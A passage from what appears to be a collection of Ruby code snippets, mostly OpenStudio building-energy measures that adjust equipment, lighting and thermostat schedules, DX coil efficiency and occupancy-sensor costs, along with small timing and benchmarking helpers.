!space_type.people.empty?\n equipment_power_reduction_percent = 1 - (occupied_space_type/100)\n else\n equipment_power_reduction_percent = 1 - (unoccupied_space_type/100)\n end\n runner.registerInitialCondition(\"Equipment power will be reduced by #{occupied_space_type}% in occupied spaces, and reduced by #{unoccupied_space_type}% in unoccupied spaces\")\n\n else\n equipment_power_reduction_percent = 1 - (single_space_type/100) # measure will be applied evenly to all zones\n runner.registerInitialCondition(\"Equipment power will be reduced by #{single_space_type}% to '#{space_type.name}'.\")\n end\n\n space_type_equipments = space_type.electricEquipment\n space_type_equipments.each do |space_type_equipment|\n #clone of not already in hash\n equi_set_sch = space_type_equipment.schedule\n if !equi_set_sch.empty?\n # clone of not already in hash\n if equi_set_schs.key?(equi_set_sch.get.name.to_s)\n new_equi_set_sch = equi_set_schs[equi_set_sch.get.name.to_s]\n else\n new_equi_set_sch = equi_set_sch.get.clone(model)\n new_equi_set_sch = new_equi_set_sch.to_Schedule.get\n new_equi_set_sch_name = new_equi_set_sch.setName(\"#{new_equi_set_sch.name} adjusted #{equipment_power_reduction_percent}\")\n # add to the hash\n equi_set_schs[new_equi_set_sch.name.to_s] = new_equi_set_sch\n end\n # hook up clone to equipment\n \n if space_type_equipment.name.to_s != \"OfficeLarge Data Center Elec Equip\" && space_type_equipment.name.to_s != \"OfficeLarge Main Data Center Elec Equip\"\n space_type_equipment.setSchedule(new_equi_set_sch)\n runner.registerInfo(\"#{space_type_equipment.name} has a new electric equipment schedule\")\n end\n else\n runner.registerWarning(\"#{space_type.equipments.name} doesn't have a schedule.\")\n end\n end\n \n if apply_to_time\n runner.registerFinalCondition(\" equipment power is reduced from #{shift_time1} to #{shift_time2}.\")\n runner.registerFinalCondition(\" equipment power is reduced from #{shift_time4} to #{shift_time5} during special between month #{summer_start_month} and #{summer_end_month}\")\n else\n runner.registerFinalCondition(\" equipment power is reduced all day.\")\n end\n\n \n # make equipment schedule adjustments and rename.\n equi_set_schs.each do |k, v| # old name and new object for schedule\n if !v.to_ScheduleRuleset.empty?\n\n schedule = v.to_ScheduleRuleset.get\n default_rule = schedule.defaultDaySchedule\n rules = schedule.scheduleRules\n\n days_covered = Array.new(7, false)\n\n if rules.length > 0\n rules.each do |rule|\n summerStartMonth = OpenStudio::MonthOfYear.new(summer_start_month)\n summerEndMonth = OpenStudio::MonthOfYear.new(summer_end_month)\n summerStartDate = OpenStudio::Date.new(summerStartMonth, 1)\n summerEndDate = OpenStudio::Date.new(summerEndMonth, 30)\n \n summer_rule = rule.clone(model).to_ScheduleRule.get\n summer_rule.setStartDate(summerStartDate)\n summer_rule.setEndDate(summerEndDate)\n\n allDaysCovered(summer_rule, days_covered)\n\n cloned_day_summer = rule.daySchedule.clone(model)\n cloned_day_summer.setParent(summer_rule)\n\n summer_day = summer_rule.daySchedule\n day_time_vector = summer_day.times\n day_value_vector = summer_day.values\n summer_day.clearValues\n \n summer_day = createDaySchedule(summer_day, day_time_vector, day_value_vector, shift_time4, shift_time5, equipment_power_reduction_percent)\n \n ##############################################\n winterStartMonth1 = OpenStudio::MonthOfYear.new(winter_start_month1)\n winterEndMonth1 = OpenStudio::MonthOfYear.new(winter_end_month1)\n winterStartDate1 = OpenStudio::Date.new(winterStartMonth1, 1)\n winterEndDate1 = OpenStudio::Date.new(winterEndMonth1, 31)\n \n winter_rule1 = rule #rule.clone(model).to_ScheduleRule.get\n winter_rule1.setStartDate(winterStartDate1)\n winter_rule1.setEndDate(winterEndDate1)\n\n\n cloned_day_winter = rule.daySchedule.clone(model)\n cloned_day_winter.setParent(winter_rule1)\n\n winter_day1 = winter_rule1.daySchedule\n day_time_vector = winter_day1.times\n day_value_vector = winter_day1.values\n winter_day1.clearValues\n \n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time6, shift_time7, equipment_power_reduction_percent)\n if shift_time1 != shift_time6 \n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time1, shift_time2, equipment_power_reduction_percent)\n end\n ###################################################\n winterStartMonth2 = OpenStudio::MonthOfYear.new(winter_start_month2)\n winterEndMonth2 = OpenStudio::MonthOfYear.new(winter_end_month2)\n winterStartDate2 = OpenStudio::Date.new(winterStartMonth2, 1)\n winterEndDate2 = OpenStudio::Date.new(winterEndMonth2, 31)\n \n winter_rule2 = winter_rule1.clone(model).to_ScheduleRule.get\n winter_rule2.setStartDate(winterStartDate2)\n winter_rule2.setEndDate(winterEndDate2)\n \n cloned_day_winter2 = winter_day1.clone(model)\n cloned_day_winter2.setParent(winter_rule2)\n end\n end\n #runner.registerInfo(\"BEFORE #{days_covered}\")\n if days_covered.include?(false)\n summerStartMonth = OpenStudio::MonthOfYear.new(summer_start_month)\n summerEndMonth = OpenStudio::MonthOfYear.new(summer_end_month)\n summerStartDate = OpenStudio::Date.new(summerStartMonth, 1)\n summerEndDate = OpenStudio::Date.new(summerEndMonth, 30)\n \n summer_rule = OpenStudio::Model::ScheduleRule.new(schedule)\n summer_rule.setStartDate(summerStartDate)\n summer_rule.setEndDate(summerEndDate)\n coverSomeDays(summer_rule, days_covered)\n allDaysCovered(summer_rule, days_covered)\n\n cloned_day_summer = default_rule.clone(model)\n cloned_day_summer.setParent(summer_rule)\n\n summer_day = summer_rule.daySchedule\n day_time_vector = summer_day.times\n day_value_vector = summer_day.values\n summer_day.clearValues\n \n summer_day = createDaySchedule(summer_day, day_time_vector, day_value_vector, shift_time4, shift_time5, equipment_power_reduction_percent)\n \n ##############################################\n winterStartMonth1 = OpenStudio::MonthOfYear.new(winter_start_month1)\n winterEndMonth1 = OpenStudio::MonthOfYear.new(winter_end_month1)\n winterStartDate1 = OpenStudio::Date.new(winterStartMonth1, 1)\n winterEndDate1 = OpenStudio::Date.new(winterEndMonth1, 31)\n \n winter_rule1 = summer_rule.clone(model).to_ScheduleRule.get #OpenStudio::Model::ScheduleRule.new(schedule)\n winter_rule1.setStartDate(winterStartDate1)\n winter_rule1.setEndDate(winterEndDate1)\n\n #coverSomeDays(winter_rule1, days_covered)\n #allDaysCovered(summer_rule, days_covered)\n\n cloned_day_winter = default_rule.clone(model)\n cloned_day_winter.setParent(winter_rule1)\n\n winter_day1 = winter_rule1.daySchedule\n day_time_vector = winter_day1.times\n day_value_vector = winter_day1.values\n winter_day1.clearValues\n \n\n\n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time6, shift_time7, equipment_power_reduction_percent)\n if shift_time1 != shift_time6 \n winter_day1 = createDaySchedule(winter_day1, day_time_vector, day_value_vector, shift_time1, shift_time2, equipment_power_reduction_percent)\n end\n ###################################################\n winterStartMonth2 = OpenStudio::MonthOfYear.new(winter_start_month2)\n winterEndMonth2 = OpenStudio::MonthOfYear.new(winter_end_month2)\n winterStartDate2 = OpenStudio::Date.new(winterStartMonth2, 1)\n winterEndDate2 = OpenStudio::Date.new(winterEndMonth2, 31)\n \n winter_rule2 = winter_rule1.clone(model).to_ScheduleRule.get #OpenStudio::Model::ScheduleRule.new(schedule)\n winter_rule2.setStartDate(winterStartDate2)\n winter_rule2.setEndDate(winterEndDate2)\n \n cloned_day_winter2 = winter_day1.clone(model)\n cloned_day_winter2.setParent(winter_rule2)\n end\n #runner.registerInfo(\"AFTER Summer #{days_covered}\")\n else\n runner.registerWarning(\"Schedule '#{k}' isn't a ScheduleRuleset object and won't be altered by this measure.\")\n v.remove # remove un-used clone\n end\n end\n\n end\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assume the occ sensors will last the full analysis\n expected_life = 25\n \n #assign the user inputs to variables\n space_type_object = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n percent_runtime_reduction = runner.getDoubleArgumentValue(\"percent_runtime_reduction\",user_arguments)\n material_and_installation_cost_per_space = runner.getDoubleArgumentValue(\"material_and_installation_cost_per_space\",user_arguments)\n\n #check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if space_type_object.empty?\n handle = runner.getStringArgumentValue(\"space_type\",user_arguments)\n if handle.empty?\n runner.registerError(\"No space type was chosen.\")\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not space_type_object.get.to_SpaceType.empty?\n space_type = space_type_object.get.to_SpaceType.get\n elsif not space_type_object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as space type or building.\")\n return false\n end\n end\n \n #check arguments for reasonableness\n if percent_runtime_reduction >= 100\n runner.registerError(\"Percent runtime reduction must be less than 100.\")\n return false\n end\n\n #find all the original schedules (before occ sensors installed)\n original_lts_schedules = []\n if apply_to_building #apply to the whole building\n \n model.getLightss.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n space_type.lights.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n space.lights.each do |light_fixture|\n if light_fixture.schedule.is_initialized\n original_lts_schedules << light_fixture.schedule.get\n end\n end \n end\n end\n \n #make copies of all the original lights schedules, reduced to include occ sensor impact\n original_schs_new_schs = {}\n original_lts_schedules.uniq.each do |orig_sch|\n #TODO skip non-schedule-ruleset schedules\n \n #copy the original schedule\n new_sch = orig_sch.clone.to_ScheduleRuleset.get\n #reduce each value in each profile (except the design days) by the specified amount\n runner.registerInfo(\"Reducing values in '#{orig_sch.name}' schedule by #{percent_runtime_reduction}% to represent occ sensor installation.\")\n day_profiles = []\n day_profiles << new_sch.defaultDaySchedule\n new_sch.scheduleRules.each do |rule|\n day_profiles << rule.daySchedule\n end\n multiplier = (100 - percent_runtime_reduction)/100\n day_profiles.each do |day_profile|\n #runner.registerInfo(\"#{day_profile.name}\")\n times_vals = day_profile.times.zip(day_profile.values)\n #runner.registerInfo(\"original time/values = #{times_vals}\")\n times_vals.each do |time,val|\n day_profile.addValue(time, val * multiplier)\n end\n #runner.registerInfo(\"new time/values = #{day_profile.times.zip(day_profile.values)}\")\n end \n #log the relationship between the old sch and the new, reduced sch\n original_schs_new_schs[orig_sch] = new_sch\n #runner.registerInfo(\"***\")\n end\n \n #replace the old schedules with the new schedules\n spaces_sensors_added_to = []\n if apply_to_building #apply to the whole building\n runner.registerInfo(\"Adding occupancy sensors to whole building\")\n model.getLightss.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n runner.registerInfo(\"Adding occupancy sensors to space type '#{space_type.name}'\")\n space_type.lights.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n runner.registerInfo(\"Adding occupancy sensors to space '#{space.name}\")\n space.lights.each do |light_fixture|\n next if light_fixture.schedule.empty?\n lights_sch = light_fixture.schedule.get\n new_sch = original_schs_new_schs[lights_sch]\n if new_sch\n runner.registerInfo(\"Added occupancy sensor for '#{light_fixture.name}'\")\n light_fixture.setSchedule(new_sch)\n spaces_sensors_added_to << light_fixture.space\n end\n end \n end\n end \n \n #report if the measure is not applicable\n num_sensors_added = spaces_sensors_added_to.uniq.size\n if spaces_sensors_added_to.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no lights in the specified areas of the building.\")\n return true\n end\n \n #report initial condition\n runner.registerInitialCondition(\"The building has several areas where occupancy sensors could be used to reduce lighting energy by turning off the lights while no occupants are present.\") \n \n #add cost of adding occ sensors\n if material_and_installation_cost_per_space != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Add #{material_and_installation_cost_per_space} Occ Sensors to the Building\", model.getBuilding, material_and_installation_cost_per_space * num_sensors_added, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end \n \n #report final condition\n if apply_to_building\n runner.registerFinalCondition(\"Add occupancy sensors to #{num_sensors_added} spaces in the building. The total cost to perform this is $#{material_and_installation_cost_per_space.round} per space, for a total cost of $#{(material_and_installation_cost_per_space * num_sensors_added).round}\")\n else\n runner.registerFinalCondition(\"Add occupancy sensors to #{num_sensors_added} #{space_type.name} spaces in the building. The total cost to perform this is $#{material_and_installation_cost_per_space.round} per space, for a total cost of $#{(material_and_installation_cost_per_space * num_sensors_added).round}\")\n end\n \n return true\n \n end",
"def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\r\n if run_measure == 0\r\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\r\n return true \r\n end\r\n \r\n require 'json'\r\n \r\n results = {}\r\n dx_name = []\r\n #get all DX coils in model\r\n dx_single = model.getCoilCoolingDXSingleSpeeds \r\n dx_two = model.getCoilCoolingDXTwoSpeeds\r\n dx_heat = model.getCoilHeatingDXSingleSpeeds\r\n \r\n if !dx_single.empty?\r\n dx_single.each do |dx|\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial COP: #{dx.ratedCOP.get}\")\r\n dx.setRatedCOP(OpenStudio::OptionalDouble.new(6.0))\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final COP: #{dx.ratedCOP.get}\")\r\n dx_name << dx.name.get\r\n end\r\n end\r\n if !dx_two.empty?\r\n dx_two.each do |dx|\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial High COP: #{dx.ratedHighSpeedCOP.get} Low COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx.setRatedHighSpeedCOP(6.0)\r\n dx.setRatedLowSpeedCOP(6.0)\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final High COP: #{dx.ratedHighSpeedCOP.get} Final COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx_name << dx.name.get\r\n end\r\n end\r\n if !dx_heat.empty?\r\n dx_heat.each do |dx|\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial COP: #{dx.ratedCOP}\")\r\n dx.setRatedCOP(6.0)\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final COP: #{dx.ratedCOP}\")\r\n dx_name << dx.name.get\r\n end\r\n end\r\n \r\n if dx_name.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n end\r\n \r\n #unique initial conditions based on\r\n runner.registerInitialCondition(\"The building has #{dx_name.size} DX coils for which this measure is applicable.\")\r\n\r\n #reporting final condition of model\r\n runner.registerFinalCondition(\"The COP of the following coils was increased to 6: #{dx_name}\")\r\n return true\r\n\r\n end",
"def around_perform_stats(*args)\n start = Time.now\n yield\n time_taken = Time.now - start\n statsd.timing(\"duration:#{self}\", time_taken)\n statsd.increment(\"total_successful:#{self}\")\n statsd.increment(\"total_successful\")\n run_hooks(:duration, :duration, args) {|key| statsd.timing(key, time_taken)}\n end",
"def defMeasurement(name,&block)\n mp = {:mp => name, :fields => []}\n @fields = []\n # call the block with ourserlves to process its 'defMetric' statements\n block.call(self) if block\n @fields.each { |f| mp[:fields] << f }\n define_measurement_point(mp)\n end",
"def measure(heading)\n start_time = Time.now\n print heading\n result = yield\n end_time = Time.now - start_time\n puts \" (#{end_time} s)\"\n result\nend",
"def measure() @measure ||= (nb_weight == 0.0 ? 0.0 : sum_weight / nb_weight) end",
"def record_measure(label)\n $logger.debug(\n tms = Benchmark.measure(label) do\n yield\n end.format(\"%n: %10.6rreal %10.6u user %10.6y sys\")\n )\nend",
"def run_examination\n true\n end",
"def update\n if @clock1_measure.nil?\n discipline_freq\n else\n elapsed = @clock1.time - @clock1_measure.local_time\n discipline_freq if elapsed > @frequency_discipline_interval\n end\n if @clock2_measure.nil?\n discipline_phase\n else\n elapsed = @clock2.time - @clock2_measure.local_time\n discipline_phase if elapsed > @phase_discipline_interval\n end\n end",
"def benchmark!\n @benchmark = true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n pct_red = runner.getDoubleArgumentValue(\"pct_red\",user_arguments)\n start_hr = runner.getDoubleArgumentValue(\"start_hr\",user_arguments)\n end_hr = runner.getDoubleArgumentValue(\"end_hr\",user_arguments)\n \n\n\n #check the fraction for reasonableness\n if not 0 <= pct_red and pct_red <= 100\n runner.registerError(\"Percent reduction value needs to be between 0 and 100.\")\n return false\n end\n\n #check start_hr for reasonableness and round to 15 minutes\n start_red_hr = nil\n start_red_min = nil\n if not 0 <= start_hr and start_hr <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24\")\n return false\n else\n rounded_start_hr = ((start_hr*4).round)/4.0\n if not start_hr == rounded_start_hr\n runner.registerInfo(\"Start time rounded to nearest 15 minutes: #{rounded_start_hr}\")\n end\n start_red_hr = rounded_start_hr.truncate\n start_red_min = (rounded_start_hr - start_red_hr)*60\n start_red_min = start_red_min.to_i\n end\n\n #check end_hr for reasonableness and round to 15 minutes\n end_red_hr = nil\n end_red_min = nil \n if not 0 <= end_hr and end_hr <= 24\n runner.registerError(\"Time in hours needs to be between or equal to 0 and 24.\")\n return false\n elsif end_hr > end_hr\n runner.registerError(\"Please enter an end time later in the day than end time.\")\n return false\n else\n rounded_end_hr = ((end_hr*4).round)/4.0\n if not end_hr == rounded_end_hr\n runner.registerInfo(\"End time rounded to nearest 15 minutes: #{rounded_end_hr}\")\n end\n end_red_hr = rounded_end_hr.truncate\n end_red_min = (rounded_end_hr - end_red_hr)*60\n end_red_min = end_red_min.to_i\n end\n\n # Translate the percent reduction into a multiplier\n red_mult = pct_red/100\n\n # Get schedules from all lights.\n original_lights_schs = []\n model.getLightss.each do |lights|\n if lights.schedule.is_initialized\n lights_sch = lights.schedule.get\n original_lights_schs << lights_sch\n end\n end\n\n # loop through the unique list of lights schedules, cloning\n # and reducing schedule fraction during the specified time range.\n original_lights_schs_new_schs = {}\n original_lights_schs.uniq.each do |lights_sch|\n if lights_sch.to_ScheduleRuleset.is_initialized\n new_lights_sch = lights_sch.clone(model).to_ScheduleRuleset.get\n new_lights_sch.setName(\"#{lights_sch.name} with Solar Cogeneration and Daylighting\")\n original_lights_schs_new_schs[lights_sch] = new_lights_sch\n new_lights_sch = new_lights_sch.to_ScheduleRuleset.get\n \n # method to adjust the values in a day schedule by a \n # specified percentage during a range of hours.\n def reduce_schedule(day_sch, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n start_time = OpenStudio::Time.new(0, start_red_hr, start_red_min, 0)\n end_time = OpenStudio::Time.new(0, end_red_hr, end_red_min, 0)\n\n # Get the original values at the desired start and end times\n # and put points into the schedule at those times.\n day_sch.addValue(start_time, day_sch.getValue(start_time))\n day_sch.addValue(end_time, day_sch.getValue(end_time))\n \n # Store the original time/values then clear the schedule\n times = day_sch.times\n values = day_sch.values\n day_sch.clearValues\n\n # Modify the time/values and add back to the schedule\n for i in 0..(values.length - 1)\n if times[i] > start_time and times[i] <= end_time # Inside range\n day_sch.addValue(times[i], values[i] * red_mult)\n else\n day_sch.addValue(times[i], values[i])\n end\n end\n\n end #end reduce schedule\n\n # Reduce default day schedule\n if new_lights_sch.scheduleRules.size == 0\n runner.registerWarning(\"Schedule '#{new_lights_sch.name}' applies to all days. It has been treated as a Weekday schedule.\")\n end\n reduce_schedule(new_lights_sch.defaultDaySchedule, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n \n # Reduce all other schedule rules\n new_lights_sch.scheduleRules.each do |sch_rule|\n reduce_schedule(sch_rule.daySchedule, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n end\n \n end \n end #end of original_lights_schs.uniq.each do\n\n #loop through all lights instances, replacing old lights schedules with the reduced schedules\n model.getLightss.each do |lights|\n if lights.schedule.empty?\n runner.registerWarning(\"There was no schedule assigned for the lights object named '#{lights.name}. No schedule was added.'\")\n else\n old_lights_sch = lights.schedule.get\n lights.setSchedule(original_lights_schs_new_schs[old_lights_sch])\n runner.registerInfo(\"Schedule for the lights object named '#{lights.name}' was reduced to simulate the application of Solar Cogeneration and Daylighting.\")\n end\n end\n\n # NA if the model has no lights\n if model.getLightss.size == 0\n runner.registerNotAsApplicable(\"Not Applicable - There are no lights in the model.\")\n end\n\n # Reporting final condition of model\n runner.registerFinalCondition(\"#{original_lights_schs.uniq.size} schedule(s) were edited to reflect the addition of Solar Cogeneration and Daylighting to the building.\")\n \n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n \n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n\n\t#initialize variables\n\ttz_count = 0\n\tclg_tstat_schedule = []\n\tthermal_zone_array = []\n\t\t\n\t# get the thermal zones and loop through them \n\tmodel.getThermalZones.each do |thermal_zone|\n\t\n\t\tthermal_zone_array << thermal_zone\n\t\t\n\t\t# test to see if thermal zone has a thermostat object assigned or is unconditioned. \n\t\tif thermal_zone.thermostatSetpointDualSetpoint.is_initialized\n\t\t\tzone_thermostat = thermal_zone.thermostatSetpointDualSetpoint.get\n\t\t\ttz_count += 1\n\t\t\t\n\t\t\tif zone_thermostat.coolingSetpointTemperatureSchedule.is_initialized\n\t\t\t\tclg_tstat_schedule = zone_thermostat.coolingSetpointTemperatureSchedule.get\n\t\t\t\t\n\t\t\t\t# clone the existing cooling T-stat schedule in case it is used somewhere else in the model\n\t\t\t\tcloned_clg_tstat_schedule = clg_tstat_schedule.clone\n\t\t\t\t@new_clg_tstat_schedule_name = (\"#{clg_tstat_schedule.name}+1.5F\")\n\t\t\t\n\t\t\t\tif cloned_clg_tstat_schedule.to_ScheduleRuleset.is_initialized\n\t\t\t\t\tschedule = cloned_clg_tstat_schedule.to_ScheduleRuleset.get\n\t\t\t\t\t# gather profiles of cloned schedule\n\t\t\t\t\tprofiles = []\n\t\t\t\t\tcooling_thermostat_array = []\n\t\t\t\t\tdefaultProfile = schedule.to_ScheduleRuleset.get.defaultDaySchedule\n\t\t\t\t\n\t\t\t\t\tprofiles << defaultProfile\n\t\t\t\t\trules = schedule.scheduleRules\n\t\t\t\t\n\t\t\t\t\trules.each do |rule|\n\t\t\t\t\t\tprofiles << rule.daySchedule\n\t\t\t\t\tend # end the do loop through the rulesetsdo\n\n\t\t\t\t\t#adjust profiles of temperature schedule of cloned schedule by + 1.5 deg F delta (0.833 C)\n\t\t\t\t\tprofiles.each do |profile|\n\t\t\t\t\t\ttime = profile.times\n\t\t\t\t\t\ti = 0\n\t\t\t\t\t\t#TODO - name new profile\n\t\t\t\t\t\tprofile.values.each do |value|\n\t\t\t\t\t\t\tdelta = 0.8333\n\t\t\t\t\t\t\tnew_value = value + delta # Note this is where the cooling setpoint is raised\n\t\t\t\t\t\t\tprofile.addValue(time[i], new_value)\n\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\tcloned_clg_tstat_schedule.setName(@new_clg_tstat_schedule_name)\n\t\t\t\t\t\t\tcooling_thermostat_array << cloned_clg_tstat_schedule\n\t\t\t\t\t\tend # end loop through each profile values\n\t\t\t\t\tend # end loop through each profile\n\t\t\t\t\t\n\t\t\t\t\tzone_thermostat.setCoolingSetpointTemperatureSchedule(cloned_clg_tstat_schedule.to_ScheduleRuleset.get)\n\t\t\t\t\trunner.registerInfo(\"The existing cooling thermostat '#{clg_tstat_schedule.name}' has been changed to #{cloned_clg_tstat_schedule.name}. Inspect the new schedule values using the OS App.\")\n\t\t\t\tend # end if statement for cloning and modifying cooling tstat schedule object\n\t\t\telse\n\t\t\t\trunner.registerInfo(\"The dual setpoint thermostat object named #{zone_thermostat.name} serving thermal zone #{thermal_zone.name} did not have a cooling setpoint temperature schedule associated with it. The measure will not alter this thermostat object\")\n\t\t\tend # end if statement for cooling Setpoint Temperature is initialized\n\t\t\t\n\t\t\tif zone_thermostat.heatingSetpointTemperatureSchedule.is_initialized\n\t\t\t\thtg_tstat_schedule = zone_thermostat.heatingSetpointTemperatureSchedule.get\n\t\t\t\t\t\t\n\t\t\t\t# clone the existing heating T-stat schedule in case it is used somewhere else\n\t\t\t\tcloned_htg_tstat_schedule = htg_tstat_schedule.clone\n\t\t\t\t\n\t\t\t\t#name cloned heating t-stat schedule\n\t\t\t\tcloned_htg_tstat_schedule.setName(\"#{htg_tstat_schedule.name}-1.5F\")\n\n\t\t\t\tif cloned_htg_tstat_schedule.to_ScheduleRuleset.is_initialized\n\t\t\t\t\tschedule = cloned_htg_tstat_schedule.to_ScheduleRuleset.get\n\t\t\t\t\n\t\t\t\t\t# gather profiles of cloned schedule\n\t\t\t\t\tprofiles_h = []\n\t\t\t\t\tdefaultProfile = schedule.to_ScheduleRuleset.get.defaultDaySchedule\n\t\t\t\t\t\n\t\t\t\t\tprofiles_h << defaultProfile\n\t\t\t\t\trules_h = schedule.scheduleRules\n\t\t\t\t\trules_h.each do |rule_h|\n\t\t\t\t\t\tprofiles_h << rule_h.daySchedule\n\t\t\t\t\tend # end the rule_h do\n\n\t\t\t\t\t#adjust profiles_h of temperature schedule of cloned schedule by + 1.5 deg F delta (0.833 C)\n\t\t\t\t\tprofiles_h.each do |profile_h|\n\t\t\t\t\t\ttime_h = profile_h.times\n\t\t\t\t\t\ti = 0\n\t\t\t\t\t\t#TODO - name new profile\n\t\t\t\t\t\tprofile_h.values.each do |value_h|\n\t\t\t\t\t\t\tdelta_h = 0.8333\n\t\t\t\t\t\t\tnew_value_h = value_h - delta_h # Note this is where the heating setpoint is lowered \n\t\t\t\t\t\t\tprofile_h.addValue(time_h[i], new_value_h)\n\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\tend # end loop through each profile values\n\t\t\t\t\tend # end loop through each profile_h\n\t\t\t\t\t\n\t\t\t\t\tzone_thermostat.setHeatingSetpointTemperatureSchedule(cloned_htg_tstat_schedule.to_ScheduleRuleset.get)\n\t\t\t\t\trunner.registerInfo(\"The existing heating thermostat '#{htg_tstat_schedule.name}' has been changed to #{cloned_htg_tstat_schedule.name}. Inspect the new schedule values using the OS App.\")\n\t\t\t\tend # end if statement for cloning and modifying heating tstat schedule object\t\n\t\t\telse\n\t\t\t\trunner.registerInfo(\"The dual setpoint thermostat object named #{zone_thermostat.name} serving thermal zone #{thermal_zone.name} did not have a heating setpoint temperature schedule associated with it. The measure will not alter this thermostat object\")\n\t\t\tend # end if statement for heating Setpoint Temperature is initialized\n\t\tend\t# end if statement for zone_thermstat cooling schedule\n\t\t\n\tend # end loop through thermal zones\t\t\t\n\t\t\t\n\t# Add ASHRAE 55 Comfort Warnings are applied to people objects\n\t# get people objects and people definitions in model\n\tpeople_defs = model.getPeopleDefinitions\n\tpeople_instances = model.getPeoples\n\n\t# loop through people objects\n\tpeople_def_counter = 0\n\tpeople_defs.sort.each do |people_def|\n\t next if not people_def.instances.size > 0\n\t people_def_counter += 1\n\t people_def.setEnableASHRAE55ComfortWarnings(true)\n\tend\n\t\t\t\n\treporting_frequency = \"Timestep\"\n\toutputVariable = OpenStudio::Model::OutputVariable.new(\"Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status []\",model)\n\toutputVariable.setReportingFrequency(reporting_frequency)\n\trunner.registerInfo(\"Adding output variable for 'Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status' reporting '#{reporting_frequency}'\")\n\n\t# write As Not Applicable message\n\tif tz_count == 0\n\t\trunner.registerAsNotApplicable(\"Measure is not applicable. There are no conditioned thermal zones in the model.\")\n\t\treturn true\n\tend\n\n\t# report initial condition of model\n\trunner.registerInitialCondition(\"The initial model contained #{tz_count} thermal zones with #{thermal_zone_array.length} 'Cooling Thermostat Schedule' and #{thermal_zone_array.length} 'Heating Thermostat Schedule' objects for which this measure is applicable.\")\n\n\t# report final condition of model\n\trunner.registerFinalCondition(\"The #{thermal_zone_array.length} Heating and #{thermal_zone_array.length} Cooling Thermostats schedules for #{thermal_zone_array.length} Thermal Zones were altered to reflect a additional deadband width of 3 Deg F . \")\n\treturn true\n\n end",
"def stat(*args)\n @recorder.call(*args) if @recorder\n end",
"def measure (n=1)\n cnt=0\nelapsed_time=Time.now\n\nn.times {\n cnt+=1\n yield} \nelapsed_time=(Time.now-elapsed_time)/cnt\n\nend",
"def run() end",
"def running_test_step; end",
"def stat() end",
"def measure(msg)\n start = Time.now\n yield\n printf \"%<msg>s in %<elapsed>.2f seconds\\n\", msg: msg, elapsed: Time.now - start\nend",
